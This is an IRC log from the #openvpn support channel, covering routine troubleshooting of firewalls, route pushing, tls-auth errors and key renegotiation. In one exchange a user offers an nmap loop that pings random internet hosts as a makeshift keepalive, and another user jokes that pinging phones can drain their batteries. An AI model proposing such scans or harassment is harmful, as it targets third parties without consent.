17:06 < Kalavera> greetings guys, I have the following case. an OpenVPN Client with IP 10.10.0.2 (vpn assigned), a VPN Server which tun IP is 10.10.0.1 and an application server behind the VPN Server with IP 10.162.162.17 and gateway 10.162.162.19 (VPN SERVER LAN NIC)
17:07 < Kalavera> right now I am connected and I can do a ping from 10.162.162.17 -> 10.10.0.2 succesfully
17:07 < Kalavera> when I try to ping from the Client machine (10.10.0.2) to 10.162.162.17 it says request time out
17:07 <@EugeneKay> Firewall.
17:07 < Starthunder> XD
17:08 < Starthunder> >> topic
17:08 < Starthunder> > Your problem is probably firewall, Really
17:08 < Kalavera> but I can ping both nics on the vpn server 10.10.0.1 and 10.162.162.19
17:08 <@EugeneKay> That just means your routes work
17:08 < Starthunder> Can you ping the client from anything?
17:09 < Kalavera> the one firewall between both machines is the vpn server who only masq packets from 10.162.162.0/24
17:09 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
17:09 < Kalavera> I can ping the client from the application server
17:09 < Kalavera> from 10.162.162.17 -> 10.10.0.2
17:09 <@EugeneKay> Probably the app server's firewall then
17:09 <@EugeneKay> The fact that the ping comes back means the routing is set up correctly
17:09 <@EugeneKay> And the vpn link
17:09 < Kalavera> it's a virtual machine let me take a look but I dont think so
17:09 <@EugeneKay> And everything else
17:10 < Kalavera> wawwww yay!! you were right firewall
17:10 < Kalavera> sorry
17:10 < Kalavera> :)
17:10 <@EugeneKay> !EugeneKay
17:10 <@vpnHelper> "EugeneKay" is right because EugeneKay is always right.
17:10 < Kalavera> thank you
17:11 < Kalavera> flee in shame
17:11 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has left #openvpn []
17:16 < Starthunder> …
17:16 < Starthunder> hahaha
17:16 < Starthunder> !EugeneKay
17:16 <@vpnHelper> "EugeneKay" is right because EugeneKay is always right.
17:17 < Starthunder> XD
17:18 < Markz> i think i need a program in ubuntu thats all the time sends data to the internet just an idea from my side but its not the best way i hate windows for that
17:18 < Starthunder> Markz: netcat ;P
17:19 < Starthunder> Or autossh, if you have a shell account somewhere
17:19 < kisom> Or ping...
17:19 < Starthunder> ^
17:19 < Starthunder> Why didn't I think of that? lol
17:19 < Markz> is there a way without that?
17:19 < Starthunder> What do you have against ping? XD
17:20 < kisom> I was banned from slashdot for pinging them too much
17:20 < Starthunder> Do once every fifteen minutes.
17:20 < Starthunder> Browsing the site generates more traffic than that; if they ban you for it they're just being stupid.
17:20 < Starthunder> Do…uhh…
17:20 < kisom> Starthunder: I pinged them constantly for a month or so
17:21 < kisom> Forgor I had it running in a screen
17:21 < Starthunder> Oh, come on, there's gotta be a way to set the interval :I
17:21 < Starthunder> Oh, here it is. Derp.
17:21 < kisom> -i
17:21 < Starthunder> ping -i 900 8.8.8.8
17:21 < Starthunder> I doubt Google will ban you from their DNS anyway LOL
17:22 < Starthunder> Or, I dunno, use some IPv6 address that hasn't been assigned yet.
17:22 < kisom> They'll start returning the youporn IP for every request
17:22 < kisom> ;)
17:22 < Starthunder> Pretty harmless, but you're still sending data over hte Internet
17:22 < Starthunder> the *
17:24 < Starthunder> Use a random IP?
17:24 < jzaw> should i be able to browse http://swupdate.openvpn.net/community/releases   ?
17:24 < pekster> Nope
17:24 < jzaw> iceweasle just keeps going to localhost
17:24 < pekster> Why would you want that?
17:24 < Starthunder> Make a script that pings a random IP every 900 seconds, with a short-ish blacklist to make sure you could only possibly ping the same IP once per…week, or something.
17:25 < Starthunder> The file size won't ever be more than a few kilobytes
17:25 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-hxruxceetaeohwvv] has joined #openvpn
17:26 < kisom> Speaking of pinging... Cellular carriers over here assigns routable IP addresses on phones, so you can ping them and drain the battery within an hour or so.
17:26 < kisom> Pretty fun
17:26 < jzaw> pekster, did you say nope to me?
17:26 < pekster> jzaw: Right. If you want an older release not avialble in the downloads link, there's a page for that
17:27 < pekster> Don't use old releases. You should use the current release unless you really know what you're doing.
17:27 < jzaw> im looking at trunk openwrt ... it uses 2.3.0 release 1 of openvpn
17:27 < jzaw> i wanted to see what was in there
17:27 < jzaw> and why it was using that version
17:27 < jzaw> maybe be able to change the openwrt makefile to use openvpn_testing
17:28 < pekster> If you care about changes between releases, use the ChangeLog. If you care about code changes, openvpn is avilaable on github: https://github.com/OpenVPN/openvpn
17:28 <@vpnHelper> Title: OpenVPN/openvpn · GitHub (at github.com)
17:29 < jzaw> im still learning and exploring how the openwrt trunk buildroot pulls in openvpn sources
17:29 < pekster> Most of the "feeds" packages just contain a URI to download a tarball from the upstream source, in this case openvpn.net
17:30 < jzaw> indeed
17:30 < jzaw> that was the url above
17:30 < pekster> Not really any different from most build-from-source systems out there (openwrt, gentoo, FreeBSD, NetBSD, they all basically do the same thing)
17:30 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
17:31 < jzaw> but pkg version and release seem to be hardcoded in the make file
17:31 < pekster> grab source, apply any distro-centric patches, build, and package it
17:31 < pekster> Right. openwrt is sensitive to changes, and blindly tossing in a new version might throw off patches or assumptions that system makes
17:31 < pekster> Same reason Debian Stable doesn't have any modern packages in it
17:31  * jzaw nods
17:32 < pekster> Then again, you might be able to throw in the latest openvpn git master and have it work fine. I don't have a router new enough to run backfire, so I have no clue. You could probably submit a report of success or failure to the openwrt devs, or better yet, fix any build failures so the community benefits
17:35 < pekster> s/backfire/aa/
17:35 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
17:36 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
17:38 < Starthunder> Markz: while true ; do nmap -n -iR 1 --exclude 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,224-255.-.-.- -sP && sleep 900 ; done ;
17:38 < Starthunder> nmap invocation is a modified version of the one found at http://unix.stackexchange.com/a/14669
17:38 <@vpnHelper> Title: shell - How to generate random IP addresses - Unix & Linux Stack Exchange (at unix.stackexchange.com)
17:39 < Markz> this helps?
17:39 < Starthunder> It pings a random IP every 15 minutes.
17:40 < Starthunder> If what you're looking for is something to cause periodic arbitrary Internet activity, then yes, it will help :P
17:40 < pekster> Why on earth are we suggesting this?
17:40  * Starthunder shrugs
17:40  * Starthunder has nothing better to do
17:40 < Starthunder> Well, I have better things to do, I'm just too lazy to do them. XD
17:41 < Markz> starthunder but think the preiod must be shorter
17:41 < pekster> If it's the --inactive directive, a simple ping to the VPN peer would fix this. If it's a stateful firewall issue, I've already explained that !keepalive fixes this. Of course, this information has fallen on deaf ears
17:41 < Markz> period
17:41 < Starthunder> Markz: then change the argument to `sleep`
17:41 < Starthunder> It's measured in seconds.
17:42 < Markz> sleep without the 900 or what?
17:42 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
17:42 < Starthunder> sleep $interval_in_seconds
17:43 < Markz> nmap -n -iR 1 --exclude 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,224-255.-.-.- -sP && sleep 1; done ;     all of that?
17:44 < Starthunder> Yep.
17:44 < Starthunder> Although I doubt you need it to run every second LOL
17:45 < Markz> haha
17:45 < Starthunder> That seems really excessive
17:45 < Markz> nope this must be in background too much work
17:46 < Markz> i think that was joke ?
17:53  * Starthunder is now bored, wanders off to some other chat
17:58 < Markz> ok 2 hours without disconnect the problem seems to be 99 % indentified but idont will stay all the time in irc channels...
18:00 < Markz> i need all the resources for my online game haxball
18:19 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn
18:19 -!- mode/#openvpn [+o krzie] by ChanServ
18:19 < Markz> !keepalive
18:19 -!- Netsplit *.net <-> *.split quits: zu, oc80z, b00b, JackSparrow, @EugeneKay, matsh, Fiouz_, mz|`, @dazo_afk, Markz,  (+30 more, use /NETSPLIT to show all of them)
18:19 -!- krzie is now known as krzee
18:21 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
18:37 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
18:38 -!- lhunath [~lhunath@unaffiliated/lhunath] has joined #openvpn
18:40 < lhunath> is it possible to inhibit the server pushing certain things to me?
18:50 < pekster> lhunath: Sure, don't use --pull (note that --client implies --pull.) See also, --route-nopull
18:50 < lhunath> I don't know what settings the server will push, but all I want to inhibit is the pushing of routes
18:50 < lhunath> ah, brilliant.
18:51 < lhunath> http://openvpn.net/index.php/open-source/documentation/manuals/65-openvpn-20x-manpage.html -- doesn't mention this.
18:51 <@vpnHelper> Title: OpenVPN 2.0.x (at openvpn.net)
18:52 < pekster> Why are you referencing a manpage version that's over 6 years old?
18:53 < pekster> !man
18:53 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
18:53 < pekster> I hope you're not using a 2.0.x release either. 2.3.1 is the current official release
18:54 -!- me0615 [~me0615@122.2.46.76] has left #openvpn []
18:54 -!- Matir_ [~matir@ubuntu/member/matir] has joined #openvpn
19:01 < lhunath> as for why; because it's what google served up upon man openvpn and I didn't bother to check the version before reading.  additionally; I don't actually have the openvpn man locally.  regardless. thanks for the pointers.  I shall proceed reading the current docs.
19:02 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
19:03 < me0615> good day guys. I would like to ask something.  I have this openvpn server and I am trying to figure what remote and local ports are open and I think ISP is blocking the internet traffic.  My question is, what ip address should I port scan, is it my server IP or the dynamic IP address  of my computer which my isp gave me?
19:08 -!- ppr is now known as peper
19:28 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:32 -!- lhunath [~lhunath@unaffiliated/lhunath] has left #openvpn ["WeeChat 0.3.8"]
19:33 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 256 seconds]
19:34 -!- ingmar5 [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
19:34 -!- kenyon_ [kenyon@darwin.kenyonralph.com] has joined #openvpn
19:35 -!- mz|`_ [~emerick@shyan.mz23.in] has joined #openvpn
19:35 -!- Champi_ [Champi@rootshell.fr] has joined #openvpn
19:36 -!- jzaw_ [~jzaw@loki.dzki.co.uk] has joined #openvpn
19:38 -!- mz` [~emerick@unaffiliated/mz/x-5510238] has joined #openvpn
19:43 -!- me0615 [~me0615@122.2.46.76] has quit []
19:44 -!- sauce_ [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
19:46 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
19:50 -!- ingmar5 [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Quit: ZNC - http://znc.sourceforge.net]
20:03 -!- Matir [~matir@ubuntu/member/matir] has quit [Ping timeout: 240 seconds]
20:04 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
20:05 -!- raidz is now known as raidz_away
20:05 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
20:13 -!- Champi_ is now known as Champi
20:13 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
20:13 -!- sauce_ is now known as sauce
20:17 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
20:22 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 240 seconds]
20:25 -!- mz|`_ [~emerick@shyan.mz23.in] has quit [Ping timeout: 246 seconds]
20:26 < Starthunder> Well, I wasn't going to do this but XD
20:37 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Ping timeout: 256 seconds]
20:40 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
20:40 < pekster> What does any of that have to do with openvpn? As usual, you need a basic level networking course, not assistance with openvpn
20:40 < pekster> The manpages for nmap(8) and tcpdump(8) should provide background reading. As will:
20:40 < pekster> !tcpip
20:40 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
20:42 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
20:42 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
20:42 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
20:47 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
20:49 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
20:55 -!- mz` is now known as 15SAA9OKT
20:56 -!- fluter [~fluter@fedora/fluter] has quit [Remote host closed the connection]
20:57 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
21:02 -!- kenyon_ is now known as kenyon
21:03 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
21:03 -!- nand` [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
21:03 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
21:03 -!- Eugene [eugene@madeitwor.se] has joined #openvpn
21:03 -!- dazo [~dazo@2001:470:de40:1021::14] has joined #openvpn
21:03 -!- tgunr [~davec@66-249-166-11.static-ip.telepacific.net] has joined #openvpn
21:03 -!- newbie|4 [~tjz@bb119-74-164-84.singnet.com.sg] has joined #openvpn
21:03 -!- Martin` [martin@shell.octocore.net] has joined #openvpn
21:03 -!- cherwin [~cherwin@robin.teqnix.nl] has joined #openvpn
21:03 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
21:03 -!- deever [~deever@78.46.68.172] has joined #openvpn
21:03 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
21:03 -!- matsh [divine@nanogene.org] has joined #openvpn
21:03 -!- spacedust [~info@unaffiliated/cosmicblue] has joined #openvpn
21:03 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
21:03 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
21:03 -!- Willis [Willis@173.234.237.131] has joined #openvpn
21:03 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
21:03 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
21:03 -!- oc80z [oc80z@blea.ch] has joined #openvpn
21:03 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
21:03 -!- tyteen4a03 [tyteen4a03@us2.freeBNC.net] has joined #openvpn
21:03 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
21:03 -!- tekzilla [~jon@24.134.142.157] has joined #openvpn
21:03 -!- MaynardWaters [~asdfjkl@c-71-238-30-69.hsd1.mi.comcast.net] has joined #openvpn
21:03 -!- Dave2 [~Dave2@freenode/staff/dave2] has joined #openvpn
21:03 -!- zamba [marius@flage.org] has joined #openvpn
21:03 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
21:03 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
21:03 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
21:03 -!- Fiouz_ [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
21:03 -!- ServerMode/#openvpn [+o novaflash] by niven.freenode.net
21:03 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
21:03 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
21:05 -!- amir__ [~amir@unaffiliated/amir] has quit [Quit: Leaving]
21:05 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
21:06 -!- 15SAA9OKT is now known as mz
21:12 -!- dazo [~dazo@2001:470:de40:1021::14] has quit [Changing host]
21:12 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
21:12 -!- mode/#openvpn [+o dazo] by ChanServ
21:12 -!- dazo is now known as Guest17191
21:23 -!- bkrieg1337 [~bkrieg133@li515-89.members.linode.com] has joined #openvpn
21:25 -!- middlefinger [~AndChat73@32.173.35.5] has joined #openvpn
21:26 < middlefinger> Hello?
21:27 < middlefinger> "p:options error: --tls-auth fails with 'missing': no such file"
21:28 < pekster> Sounds like the file referenced by the --tls-auth directive can't be found
21:28 < pekster> Does it exist at the path you've specified?
21:30 < middlefinger> Well the thing is is that I don't think I have tls enabled
21:31 < middlefinger> Doesn't seem toexist. Not using a config file
21:31 < pekster> Then what's the full command you're using to invoke openvpn?
21:31 < middlefinger> Just usinv ca , client certs plus client key
21:32 < pekster> That's not a properly formatted command. Let's try that again
21:33 < middlefinger> Well first off I am doing it on phone through a gui as I have yet to be able to sit down and root it....
21:34 < pekster> Well, the error suggests the program got passed the --tls-auth directive with a missing or non-existant file path. I'd figure out why and try to fix that
21:34 < middlefinger> So not using a cmd in traditional sense
21:38 -!- middlefinger [~AndChat73@32.173.35.5] has quit [Ping timeout: 248 seconds]
21:54 -!- bkrieg1337_ [~bkrieg133@120.28.165.105] has joined #openvpn
21:57 -!- bkrieg1337 [~bkrieg133@li515-89.members.linode.com] has quit [Ping timeout: 258 seconds]
22:02 -!- bkrieg1337_ [~bkrieg133@120.28.165.105] has quit [Quit: Leaving]
22:06 -!- newbie|4 [~tjz@bb119-74-164-84.singnet.com.sg] has quit [Quit: quit irc]
22:06 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
22:10 -!- Guest92979 [~misako@76.191.50.60.cbj04-home.tm.net.my] has joined #openvpn
22:15 -!- jthunder_ [~jthunder@174.3.126.51] has joined #openvpn
22:16 -!- jetole [~jetole@24-145-70-207-dhcp.mia.fl.atlanticbb.net] has quit [Changing host]
22:16 -!- jetole [~jetole@unaffiliated/jetole] has joined #openvpn
22:19 -!- jthunder [~jthunder@174.3.126.51] has quit [Ping timeout: 276 seconds]
22:19 -!- jthunder_ is now known as jthunder
22:31 -!- Guest92979 [~misako@76.191.50.60.cbj04-home.tm.net.my] has quit []
22:56 -!- NotKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 264 seconds]
22:58 -!- p3rror [~p3rror@41.140.28.206] has joined #openvpn
23:38 < Starthunder> Is there a way to forcibly disconnect a client from the server?
23:40 < pekster> Starthunder: Yup, the management interface has a 'kill' command
23:44 < Starthunder> uhh
23:44 < Starthunder> management interface?
23:44  * Starthunder doesn't think she set that up
23:45 < Starthunder> !management
23:45 <@vpnHelper> "management" is (#1) see http://openvpn.net/management for doc on management interface or (#2) read http://svn.openvpn.net/projects/openvpn/obsolete/BETA21-preauto/openvpn/management/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN
23:48 < Starthunder> On a similar note, I got two clients over here who keep failing to connect
23:49 < Starthunder> aTLS key negotiation timeouts, over and over and over 6_9
23:49 < Starthunder> a *-
23:50 < Starthunder> Anything I can do server-side?
23:57 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
--- Day changed Sat Apr 06 2013
00:10 < Starthunder> They were connected okay, earlier, then suddenly I couldn't reach them…checked the log, they failed to renegotiate the keys, apparently, after they expired
00:13 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has joined #openvpn
00:15 < pekster> Starthunder: Check the logs from both sides. Usuaully one side has rejected the connection from the other (leaving the other to simply time out) or you might have a network problem (packet loss, MTU issue, or firewall) between the 2 peers causing delivery issues
00:16 < Starthunder> I can't check the client-side logs right now, because…umm…well, I can't connect. XD
00:16  * Starthunder was relying on the VPN for ssh access! 6_9
00:17 < Starthunder> Gonna have to find another way… x.x
00:17 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
00:20 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
00:20 < Starthunder> In the meantime, is there anything I could try with just the server?
00:21 < Starthunder> (Also, can I have something set up to detect these, delay key renegotiation on the other machines, and alert me, so that this doesn't happen again? XD )
00:21 < Starthunder> ('cause for now, I'm locked out of that LAN)
00:22 < pekster> Detect an as-yet-unidentified problem? I lost my crystal ball, but if you find it I'll let you know
00:23 < pekster> ssh would help. If you're paranoid set it up to accept pubkey auth only
00:24 < Starthunder> Yeah…problem is, I CAN'T ssh, because there's no route to the other machines XD
00:25 < pekster> If it's network problems, you can't really "detect" that in advance. Other common causes are cert expirations
00:26 < pekster> Is the CA and server cert still valid? Client clock matters here too, but naturally you can't check that
00:26 -!- p3rror [~p3rror@41.140.28.206] has quit [Quit: Leaving]
00:26 < Starthunder> I don't think it's a network problem.
00:26 < Starthunder> Other connections from one of the machines are still up.
00:27 < Starthunder> But, both of them failed to renegotiate keys.
00:27 < Starthunder> /That /can// be detected.
00:27 < Starthunder> > Key renegotiation failed several times for client X!
00:27 < Starthunder> > Tell all the others not to renegotiate keys.
00:28 < Starthunder> > Also stick a warning in the MotD of all the clients.
00:28 < pekster> re-keys (hourly by default, unless you tweaked) are normal and a part of providing perfect-forward-secrecy. Each rekey also incurs a full authentication check across the TLS layer, including certs and any user/pass auth used
00:28  * Starthunder doesn't think that should be /too/ hard to accomplish, provided there /is/ a way to disable rekeying temporarily
00:28 < pekster> Nope. See the --reneg-* options
00:28 < pekster> !forwardsecrecy
00:29 < pekster> !factoids search forward
00:29 <@vpnHelper> 'winipforward', 'linipforward', 'fbsdipforward', 'linportforward', 'osxipforward', 'ipforward', and 'forwardsecurity'
00:29 < pekster> !forwardsecurity
00:29 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they captured
00:30 < pekster> That doesn't help if a client can't reconnect, since that requires both the establishment of the TLS channel and (once that's successful) an initial key exchange for the symmetric data channel
00:31 < Starthunder> Obviously there's some kind of connection going on, though.
00:31 < Starthunder> I mean, there has to be, for this error to even come up, right?
00:31 < Starthunder> Some packets from the client made it to the server…
00:32 -!- brute11k [~brute@89.249.231.166] has joined #openvpn
00:32 < pekster> At least one packet got through, yes
00:33 < Starthunder> And there is at least one other connection, from the same client, to the same server.
00:33  * Starthunder checks for others
00:33 < pekster> The same client? Why do you have 2 instances connecting to the same server?
00:33 < Starthunder> Not another VPN instance.
00:34 < Starthunder> This is currently the only actual server I have, so it runs /all/ the services! XD
00:35 < Starthunder> Well, there's /one/ connection. XD
00:35 < Starthunder> But, anyway, that says something.
01:17 -!- Eugene [eugene@madeitwor.se] has quit [Changing host]
01:17 -!- Eugene [eugene@unaffiliated/eugenekay] has joined #openvpn
01:19 -!- Eugene [eugene@unaffiliated/eugenekay] has quit [Changing host]
01:19 -!- Eugene [eugene@madeitwor.se] has joined #openvpn
01:28 -!- mode/#openvpn [+o Eugene] by ChanServ
01:53 -!- Orbi [~opera@46.246.36.187] has joined #openvpn
02:20 -!- brute11k [~brute@89.249.231.166] has quit [Quit: Leaving.]
02:43 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
02:46 -!- fulcan [brads@2600:3c01::f03c:91ff:feae:9ef3] has joined #openvpn
02:47 < fulcan> How much overhead does openvpn put on video conferencing if in udp mode?
02:48 < jzaw_> !ping
02:48 <@vpnHelper> pong
02:48 < fulcan> I am getting video degradation, a lot.
02:48 < jzaw_> !ping
02:48 <@vpnHelper> pong
02:50 -!- jzaw_ [~jzaw@loki.dzki.co.uk] has left #openvpn ["Leaving"]
02:50 -!- jzaw_ [~jzaw@loki.dzki.co.uk] has joined #openvpn
02:51 < jzaw_> why am i banned on channel?
02:51 < jzaw_> ah not this channel #dd-wrt ... silly channel
02:51 -!- jzaw_ is now known as jzaw
02:52 < jzaw> now better
02:52 < jzaw> this no makie sensie
02:52 < jzaw> ovpn-server[27992]: Options error: --ifconfig-pool start IP [81.2.112.218] is greater than end IP [81.2.112.119]
02:52 < jzaw> from logs
02:53 < jzaw> ahhhh ... my eyes just spotted the error
02:54 < jzaw> np ;P
03:18 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
04:18 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
04:19 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
04:22 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
04:30 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has joined #openvpn
04:53 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
04:55 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Client Quit]
05:39 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
05:41 < vaillor> can you tell me why redirect works without using "route" directive ?
05:53 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
06:04 -!- master_o1_master [~master_of@p4FF24E1F.dip.t-dialin.net] has joined #openvpn
06:07 -!- master_of_master [~master_of@p4FF24831.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
06:09 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:42 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
07:04 -!- brute11k [~brute@89.249.230.50] has joined #openvpn
07:13 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
07:14 -!- erry_ is now known as erry
07:48 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Read error: Operation timed out]
07:54 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 245 seconds]
07:58 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 260 seconds]
08:04 < kisom> vaillor: It's all in the manual.
08:05 -!- unimatr|x [~unimatrix@h1658305.stratoserver.net] has joined #openvpn
08:06 < unimatr|x> !goal
08:06 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
08:09 < unimatr|x> I have set up a net to net VPN with OpenVPN server on ubuntu (behind a router connected to internet) and OpenVPN client on Openwrt on a router behind the default router of the client network. Setup of OpenVPN tunnel works fine, also traffic through it. My server ends up with an entry in the routing table like "192.168.4.0     192.168.255.2   255.255.255.255 UGH   0      0        0 tun0" -> the weird thing is the H flag and the netmask...the
08:10 < unimatr|x> !past
08:10 < unimatr|x> !paste
08:10 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
08:31 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
08:32 -!- Starthunder is now known as Moonlightning
08:38 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
08:40 < vaillor> kisom, no, the answer to my question there is not
08:43 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
08:45 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
08:49 < Dropje> !dropje
08:49 <@vpnHelper> "dropje" is (#1) Always listen to dropje or (#2) well, dazo might not agree to the 'always' part always ... but .....
08:53 -!- newbie|6 [~tjz@bb119-74-164-84.singnet.com.sg] has joined #openvpn
08:55 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 256 seconds]
09:14 -!- fluter [~fluter@fedora/fluter] has quit [Read error: Connection reset by peer]
09:14 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
09:25 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
09:26 < jzaw> \0/   2.3.1 on openwrt_trunk ... nice
09:45 -!- xbanux1 [~xbanux@triband-mum-59.182.177.145.mtnl.net.in] has joined #openvpn
10:07 -!- KrissO- [~krisso@46.109-247-25.customer.lyse.net] has quit [Ping timeout: 246 seconds]
10:07 -!- zheng [~zheng@101.229.199.34] has joined #openvpn
10:08 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 245 seconds]
10:14 -!- nEmiSH_ [~chris@user-160u5fi.cable.mindspring.com] has joined #openvpn
10:24 < nEmiSH_> Can anyone help me determine why my openvpn connection is resetting every 30 seconds getting "network changes" that are the same as they were upon initial connection? I can set Tunnelblick to not restart the connection upon sensing changes but if I do that it just breaks the connection that starts odd resolving issues that worked fine before the 30 second "network changes" happened
10:29 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
10:30 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Ping timeout: 252 seconds]
10:30 -!- pcdummy [~quassel@mx1.page4me.ch] has joined #openvpn
10:30 -!- pcdummy [~quassel@mx1.page4me.ch] has quit [Changing host]
10:30 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
10:42 < kisom> nEmiSH_: I can check if you paste verb 4 logs from both the server and client somewhere
10:46 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has joined #openvpn
10:47 < nEmiSH_> https://gist.github.com/cdenneen/5326458
10:47 <@vpnHelper> Title: OpenVPN Problems (at gist.github.com)
10:47 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
10:48 -!- unimatr|x [~unimatrix@h1658305.stratoserver.net] has quit [Quit: Lost terminal]
10:51 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has quit [Ping timeout: 245 seconds]
